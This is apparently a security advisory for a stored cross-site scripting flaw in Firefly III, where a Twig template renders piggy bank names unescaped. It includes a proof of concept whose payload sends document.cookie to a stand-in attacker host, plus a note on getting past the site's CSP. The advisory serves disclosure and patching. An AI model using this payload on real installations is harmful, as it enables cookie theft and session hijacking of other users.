PT-2026-51366 · Packagist · Grumpydictator/Firefly-Iii

Published

2026-06-12

·

Updated

2026-06-12

CVSS v4.0

5.1

Medium

VectorAV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
Vulnerable code (resources/views/list/ale.twig lines 107, 110):
twig
{{ trans('firefly.ale action log add', {
  amount: formatAmountBySymbol(...),
  name: logEntry.after.piggy
})|raw }}
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
 → Stored verbatim in piggy banks.name
 → Transaction rule fires add to piggy / remove from piggy
 → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
 → Any user views /transactions/show/{id}
 → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

  1. Authenticate as any user
  2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
  3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
  4. Trigger the rule on any transaction
  5. Visit /transactions/show/{id} → payload fires
Confirmed server response (v6.6.2):
html
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

  • Stored XSS persists in DB — fires for every user who views the transaction
  • Cookie theft → session hijacking
  • In multi-user setups: one user attacks another user or admin
  • Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.
twig
{{ trans('firefly.ale action log add', {
  amount: formatAmountBySymbol(...),
  name: logEntry.after.piggy|e
})|raw }}

Fix

XSS

Improper Encoding or Escaping of Output

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-79CWE-116

Related Identifiers

GHSA-6JQ6-X4CX-QVCM

Affected Products

Grumpydictator/Firefly-Iii